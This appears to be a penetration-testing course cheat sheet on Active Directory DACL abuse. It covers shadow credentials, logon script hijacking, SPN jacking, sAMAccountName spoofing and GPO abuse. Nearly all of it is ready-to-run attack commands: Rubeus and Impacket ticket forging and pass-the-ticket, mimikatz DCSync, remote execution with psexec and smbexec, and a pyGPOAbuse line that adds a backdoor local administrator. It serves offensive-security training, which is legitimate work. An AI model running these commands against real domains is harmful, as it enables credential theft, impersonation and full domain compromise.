

DACL ATTACKS II

CHEAT SHEET

Shadow Credentials

Command	Description
<code>xfreerdp /u:<USER> /p:<PASSWORD> /d:<DOMAIN> /v:<IP> /dynamic-resolution /drive:.,linux</code>	Connect to RDP with xfreerdp
<code>Get-DomainUser -Filter '(msDS-KeyCredentialLink=*)'</code>	Use PowerView to query for users with msDS-KeyCredentialLink attribute not empty
<code>.\Whisker.exe list /target:<TARGET></code>	List Key Credential attribute with Whisker
<code>.\Whisker.exe add /target:<TARGET></code>	Add key credentials with Whisker
<code>.\Rubeus.exe asktgt /user:<USER> /certificate:<CERTIFICATE> /password:"<PASSWORD>" /domain:<DOMAIN> /dc:<DC> /getcredentials /show</code>	Retrieve TGT and NTLM hash with Rubeus
<code>.\Rubeus.exe createnetonly /program:powershell.exe /show</code>	Create sacrificial logon session with Rubeus
<code>.\Rubeus.exe ptt /ticket:<BASE64></code>	Pass the ticket using Gabriel's TGT with Rubeus
<code>.\Whisker.exe remove /target:<TARGET> /deviceid:<DEVICEID></code>	Remove specific key credential value with Whisker

Command	Description
<code>.\Whisker.exe clear /target:<TARGET></code>	Clear all key credentials with Whisker
<code>Get-DomainObjectAcl -Identity <TARGET></code>	Get the ACEs of a user with PowerView
<code>python3 examples/dacledit.py -principal <USER> -target <TARGET> -dc-ip <DC_IP> <DOMAIN>'/'<USER>':'<PASSWORD>'</code>	Get the ACEs of a user with dacledit
<code>python3 pywhisker.py -d <DOMAIN> -u <USER> -p <PASSWORD> --target <TARGET> --action add</code>	Add key credentials from Linux with pyWhisker
<code>python3 gettgtpkinit.py -cert-pfx <CERTIFICATE> -pfx-pass <PASSWORD> <DOMAIN>/<USER> <CCACHE_FILE></code>	Use gettgtpkinit.py to generate TGT
<code>KRB5CCNAME=<CCACHE_FILE> python3 getnthash.py -key <KEY> <DOMAIN>/<USER></code>	Extract NT hash with getnthash.py
<code>KRB5CCNAME=<CCACHE_FILE> smbclient.py -k -no-pass <DC></code>	Connect to a shared folder using TGT with smbclient

Logon Scripts

Command	Description
<code>bloodyAD --host "<DC_IP>" -d "<DOMAIN>" -u "<USER>" -p '<PASSWORD>' set object <TARGET_USER> scriptPath -v '<PATH>'</code>	Set scriptPath with bloodyAD
<code>bloodyAD --host "<DC_IP>" -d "<DOMAIN>" -u "<USER>" -p '<PASSWORD>' get object <TARGET_USER> --attr scriptPath</code>	Get scriptPath with bloodyAD
<code>smbcacls //<DC_IP>/NETLOGON <DIR> -U <USER>%'PASSWORD'</code>	Display ACLs on an NT file or directory name with smbcacls
<code>pywerview get-objectacl --name '<TARGET_USER>' -w <DOMAIN> -t <DC_IP> -u '<USER>' -p '<PASSWORD>' --resolve-sids --resolve-guids</code>	Get the ACEs of <USER> over <TARGET_USER> with Pywerview

Command	Description
<code>python3 examples/dacledit.py -principal '<USER>' -target '<TARGET_USER>' -dc-ip <DC_IP> <DOMAIN>'/'<USER>':'<PASSWORD>'</code>	Get the ACEs of <USER> over <TARGET_USER> with dacledit
<code>./adalanche-linux-x64-v<VERSION> collect activedirectory --domain <DOMAIN> --server <DC_IP> --username '<USER>' --password '<PASSWORD>'</code>	Collect data from AD with Adalanche
<code>./adalanche-linux-x64-v<VERSION> analyze --datapath <DATAPATH></code>	Launch interactive discovery tool with Adalanche
<code>Set-DomainObject <TARGET_USER> -Set @{ 'scriptPath'='<PATH>' }</code>	Modify scriptPath with PowerView
<code>Get-DomainObject <TARGET_USER> -Properties scriptPath</code>	Get scriptPath with PowerView
<code>ls \$env:LOGONSERVER\NETLOGON</code>	List available folders within NETLOGON with PowerShell
<code>icacls \$env:LOGONSERVER\NETLOGON\<DIR></code>	Determine permissions on a folder within NETLOGON with icacls
<code>.\Invoke-ScriptSentry.ps1</code>	Run ScriptSentry to discover misconfigurations in logon scripts

SPN Jacking

Command	Description
<code>xfreerdp /u:<USER> /p:<PASSWORD> /d:<DOMAIN> /v:<IP> /dynamic-resolution /drive:.,linux</code>	Connect to RDP with xfreerdp
<code>MATCH p=(n:User)-[r1:WriteSPN*1..]->(c:Computer) RETURN p</code>	Cypher query to list WriteSPN rights in BloodHound

Command	Description
<code>Get-DomainComputer Get-DomainObjectAcl -ResolveGUIDs ?{\$_SecurityIdentifier -eq \$(ConvertTo-SID <USER>)}</code>	PowerView command to list WriteSPN permissions for a user
<code>Get-DomainComputer -TrustedToAuth select name, msds-allowedtodelegateto</code>	PowerView command to list computers with constrained delegation
<code>Get-ConstrainedDelegation -CheckOrphaned</code>	List orphaned SPNs with Get-ConstrainedDelegation.ps1
<code>Set-DomainObject -Identity <TARGET> -Set @{serviceprincipalname='<SPN>'} -Verbose</code>	PowerView command to assign an orphaned SPN to a target machine
<code>.\Rubeus.exe s4u /domain:<DOMAIN> /user:<USER> /rc4:<HASH> /impersonateuser:<ADMIN> /msdssp:"<SPN>" /nowrap</code>	Execute S4U attack to forge a ticket as Administrator to the target machine
<code>.\Rubeus.exe tgssub /ticket:<BASE64> /altservice:<SERVICE></code>	Rubeus command to alter the service name and hostname of a ticket
<code>Set-DomainObject -Identity <TARGET> -Clear 'serviceprincipalname' -Verbose</code>	Clear an SPN from a target machine with PowerView
<code>Get-ConstrainedDelegation</code>	List servers configured for Constrained Delegation with Get-ConstrainedDelegation.ps1
<code>Set-DomainObject -Identity <TARGET> -Set @{serviceprincipalname='<SPN>'} -Verbose</code>	Add a specific SPN to a target machine with PowerView
<code>.\Rubeus.exe ptt /ticket:<BASE64></code>	Perform a pass-the-ticket attack using Rubeus
<code>proxychains4 -q findDelegation.py -target-domain <DOMAIN> -dc-ip <DC_IP> -dc-host <DC_HOST> <DOMAIN>/<USER>:<PASSWORD></code>	Find constrained delegation rights using proxychains and findDelegation.py from Impacket
<code>proxychains4 -q python3 addspn.py <DC_IP> -u '<DOMAIN>/<USER>' -p <PASSWORD> --clear -t '<TARGET>'</code>	Clear SPN from a target machine using proxychains and addspn.py

Command	Description
<code>proxychains4 -q getST.py -spn '<SPN>' -impersonate <USER> '<DOMAIN>/<ACCOUNT>' -hashes :<HASH> -dc-ip <DC_IP></code>	Impersonate a user and request a service ticket with proxychains and getST.py
<code>proxychains4 -q python3 tgssub.py -in <TICKET_FILE> -altservice "<SERVICE>" -out <NEW_TICKET_FILE></code>	Modify a ticket's service name using proxychains and tgssub.py
<code>describeTicket.py <TICKET_FILE></code>	Describe a ticket using describeTicket.py from Impacket
<code>KRB5CCNAME=<TICKET_FILE> smbexec.py -k -no-pass <TARGET></code>	Execute a command on a remote machine using a ticket with smbexec.py from Impacket
<code>proxychains4 -q getST.py -spn '<SPN>' -impersonate <USER> '<DOMAIN>/<ACCOUNT>' -hashes :<HASH> -dc-ip <DC_IP> -altservice "<SERVICE>"</code>	Impersonate a user, request a service ticket, and change its attributes in one command using proxychains and getST.py
<code>for spn in \$(cat <SPN_FILE>);do proxychains4 -q python3 addspn.py <DC_IP> -u '<DOMAIN>/<USER>' -p <PASSWORD> -t '<TARGET>' --spn \$spn;done</code>	Restore SPNs using a for loop and addspn.py

sAMAccountName Spoofing

Command	Description
<code>xfreerdp /u:<USER> /p:<PASSWORD> /d:<DOMAIN> /v:<IP> /dynamic-resolution /drive:.,linux</code>	Connect to RDP with xfreerdp
<code>.\noPac.exe scan -domain <DOMAIN> -user <USER> -pass <PASSWORD></code>	Scan for NoPAC vulnerability with noPac on Windows
<code>(Get-DomainObject -SearchScope Base)."ms-ds-machineaccountquota"</code>	PowerView command to query ms-DS-MachineAccountQuota attribute
<code>Get-DomainComputer -Filter '(ms-DS-CreatorSID=*)' -Properties name,ms-ds-creatorsid</code>	PowerView command to list machines created by specific users

Command	Description
<code>New-MachineAccount -MachineAccount "<ACCOUNT>" -Password \$password -Domain <DOMAIN> -DomainController <DC_IP></code>	PowerMad command to create a machine account
<code>Set-DomainObject -Identity '<ACCOUNT>\$' -Clear 'serviceprincipalname' -Domain <DOMAIN> -DomainController <DC_IP></code>	PowerView command to clear SPNs from a machine account
<code>Set-MachineAccountAttribute -MachineAccount "<ACCOUNT>" -Value "<VALUE>" -Attribute samaccountname -Domain <DOMAIN> -DomainController <DC_IP></code>	PowerMad command to change sAMAccountName attribute
<code>.\Rubeus.exe asktgt /user:<USER> /password:<PASSWORD> /domain:<DOMAIN> /dc:<DC_IP> /nowrap</code>	Rubeus command to request a TGT as a machine account
<code>.\Rubeus.exe s4u /self /impersonateuser:<USER> /altservice:"<SERVICE>" /dc:<DC_IP> /ptt /ticket:<TICKET></code>	Rubeus command to obtain a service ticket with S4U2self
<code>.\mimikatz.exe "lsadump::dcsync /domain:<DOMAIN> /kdc:<DC_HOST> /user:<USER>" exit</code>	Mimikatz command to perform a DCSync attack
<code>python3 noPac/scanner.py -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -use-ldap</code>	NoPac command to scan for vulnerability from Linux
<code>python3 bloodyAD.py -d <DOMAIN> -u <USER> -p <PASSWORD> --host <DC_IP> get object <ACCOUNT></code>	BloodyAD command to get information about an account
<code>python3 bloodyAD.py -d <DOMAIN> -u <USER> -p <PASSWORD> --host <DC_IP> set object <ACCOUNT> <ATTRIBUTE></code>	BloodyAD command to clear or set an attribute of an account
<code>getTGT.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP></code>	Impacket command to request a TGT
<code>KRB5CCNAME=<TICKET_FILE> getST.py <DOMAIN>/<USER> -self -impersonate <USER> -altservice <SERVICE> -k -no-pass -dc-ip <DC_IP></code>	Impacket command to request a S4U2self service ticket
<code>KRB5CCNAME=<TICKET_FILE> psexec.py <DC_HOST> -k -no-pass</code>	Impacket command to execute commands on a remote machine using a service ticket

GPO Attacks

Command	Description
<code>\$userSID = ConvertTo-SID <NAME></code>	Convert a username to SID with PowerView
<code>Get-DomainGPO</code>	Retrieve all GPOs created in the current domain
<code>Get-DomainObject -SearchScope Base -Properties gplink</code>	Search which GPOs are applied to the Domain
<code>Get-DomainObjectAcl -ResolveGUIDs</code>	Get the Active Directory rights affecting the GPO
<code>ConvertFrom-SID S-1-5-21-831407601-1803900599-2479021482-1604</code>	Convert the SecurityIdentifier to the group name
<code>Get-DomainGroupMember "<NAME>"</code>	Get group membership
<code>Get-DomainSite -Properties gplink</code>	Get gplink on Sites
<code>Get-DomainOU select name, gplink</code>	Get gplink on OU
<code>Get-DomainOU foreach { \$ou = \$_.distinguishedname; Get-DomainComputer -SearchBase \$ou -Properties dnshostname select @{Name='OU';Expression={\$ou}}, @{Name='FQDN';Expression={\$_.dnshostname}} }</code>	List computers within each OU
<code>New-GPO -Name TestGPO -Comment "This is a test GPO."</code>	Create a New GPO

Command	Description
<code>New-GPLink -Name TestGPO -Target "OU=TestOU,DC=inlanefreight,DC=local"</code>	Link a GPO to an OU
<code>Get-GPOEnumeration</code>	Get GPOs where users have modification rights
<code>SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <NAME> --GPOName "Default Security Policy - WKS"</code>	Abusing GPOs rights with SharpGPOAbuse
<code>proxychains4 -q python3 GPOwned.py -u <NAME> -p <PASSWORD> -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -listgpo</code>	List GPOs with GPOwned
<code>proxychains4 -q python3 GPOwned.py -u <NAME> -p <PASSWORD> -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -listgplink</code>	List GPO Links with GPOwned
<code>proxychains4 -q python3 examples/dacledit.py inlanefreight.local/<NAME>:<PASSWORD> -target-dn "CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=inlanefreight,DC=local" -dc-ip 172.16.92.10</code>	Query GPO rights with DACLEdit
<code>proxychains4 -q python3 GPOwned.py -u <NAME> -p <PASSWORD> -d inlanefreight.local -dc-ip 172.16.92.10 -gpcmachine -backup backupgpo -name "{31B2F340-016D-11D2-945F-00C04FB984F9}"</code>	Backup GPO with GPOwned
<code>proxychains4 -q python3 pygpoabuse.py inlanefreight.local/<NAME>:<PASSWORD> -gpo-id EF1EBF2A-08F2-48E0-9D2E-67D9F2CE875D -command "net user plaintext Password1234 /add && net localgroup Administrators plaintext /add" -taskname "PT_LocalAdmin" -description "this is a GPO test" -dc-ip 172.16.92.10 -v</code>	Abusing GPOs with pyGPOAbuse